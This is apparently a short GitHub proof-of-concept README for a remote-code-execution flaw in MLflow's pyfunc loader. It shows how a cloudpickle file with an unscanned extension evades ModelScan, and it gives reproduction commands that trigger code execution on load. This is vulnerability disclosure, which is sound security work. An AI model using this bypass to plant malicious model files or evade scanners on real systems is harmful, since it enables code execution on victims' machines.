hoanghai2110/mlflow-cloudpickle-rce-poc

MLflow pyfunc python_model Extension Bypass — RCE PoC

CVE: Pending
Affected: MLflow 3.14.0 (latest)
Scanner bypass: ModelScan 0.8.8 reports No issues found! 🎉

Quick Reproduction

pip install mlflow==3.14.0 modelscan

# Step 1: Verify ModelScan reports CLEAN
modelscan -p .
# Output: No issues found! 🎉

# Step 2: Trigger RCE
python3 -c "import mlflow.pyfunc; mlflow.pyfunc.load_model('.')"

# Step 3: Confirm
cat /tmp/CLOUDPICKLE_RCE_PROOF.txt
# [MLFLOW RCE] id=uid=1000(user) host=victim ...

Root Cause

mlflow/pyfunc/model.py line 1312-1316:

python_model_subpath = pyfunc_config.get('python_model')  # from MLmodel YAML
python_model = cloudpickle.load(open(os.path.join(model_path, python_model_subpath), 'rb'))
# ModelScan extension list: .pkl .pickle .joblib .dill .pt .pth .h5 .keras .pb .npy
# .cloudpickle is NOT in the list -> bypasses scanner